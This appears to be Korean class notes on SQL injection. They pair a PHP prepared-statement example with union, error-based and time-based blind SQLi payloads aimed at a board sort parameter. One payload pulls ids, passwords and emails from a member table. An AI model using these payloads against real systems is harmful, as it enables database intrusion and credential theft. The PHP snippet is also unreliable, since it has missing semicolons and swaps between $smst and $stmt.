Union, Error based: https://velog.io/@azurp158/4주차-수업
Blind SQLI: https://velog.io/@azurp158/5주차-수업
$index = 1;
$mysqli = new mysqli($dbserver, $dbuser, $dbpasswd, $dbname);
$sql = "select * from board where idx = ?";
$smst = $mysqli->stmt_init();
$smst->prepare($sql);
$smst->bind_param("i", $index)
$smst->execute();
$result = $stmt->get_result();
$stmt->close();
$smst->bind_param("sssss", $word1, $word2, $word3, $word4, $word5)
게시판 검색: sotingAd
case when (조건) then (참일 경우) else (r거짓일 경우)
mysql mssql oracle
sotingAd=,(case+when+ascii(substr(select+user+from+dual),1,1))=0
+then+1+else+(1/0)+end
-> case when ascii(substr(select user from dual),1,1))=0
then 1 else (1/0) end
page=1&board_id=&sorting=A.REG_DTsotringAd=ASC;if+substring((select%20user_name()), 1, 1)=%27a%27+waitfor+delay+%270:0:1%27
-> ASC; if substring((select user_name()),1,1)='a' waitfor delay '0:0:1'
select 1,2,3,4,5 from member
select 1,
concat(idx, 0x3a, id, 0x3a, password, 0x3a, email, 0x3a, date)
,3,4,5 from member